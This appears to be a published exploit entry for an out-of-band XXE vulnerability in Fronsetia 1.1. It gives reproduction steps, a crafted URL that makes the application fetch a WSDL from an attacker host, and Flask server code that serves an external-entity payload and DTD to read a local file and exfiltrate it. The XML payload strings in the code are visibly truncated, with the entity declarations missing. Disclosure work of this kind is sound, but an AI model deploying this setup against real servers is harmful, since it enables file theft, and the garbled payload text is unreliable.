# Exploit Title: XXE OOB - fronsetiav1.1 # Date: 11/2024 # Exploit Author: Andrey Stoykov # Version: 1.1 # Tested on: Debian 12 # Blog: https://msecureltd.blogspot.com/2024/11/friday-fun-pentest-series-15-oob-xxe.html XXE OOB Description: - It was found that the application was vulnerable XXE (XML External Entity Injection) Steps to Reproduce: 1. Add Python3 server to serve malicious XXE payload 2. Add a file on the file system to be read via the application XXE payload echo 123123 > /tmp/123 3. Enter the following URL as input http://192.168.78.128:8080/fronsetia/show_operations.jsp?Fronsetia_WSDL=http://192.168.78.1:10000/testxxeService?wsdl // Python Server Code from flask import Flask, Response, request import logging app = Flask(__name__) # Set up logging logging.basicConfig(level=logging.DEBUG) @app.route('/testxxeService', defaults={'path': ''}) def catch_all(path): app.logger.debug("Serving XXE payload") xml = """ %dtd; ]> &send;""" return Response(xml, mimetype='text/xml', status=200) @app.route('/data.dtd', defaults={'path': ''}) def hello(path): app.logger.debug("DTD requested") xml = """ "> %eval; %exfil;""" return Response(xml, mimetype='text/xml', status=200) if __name__ == "__main__": app.run(host='0.0.0.0', port=10000)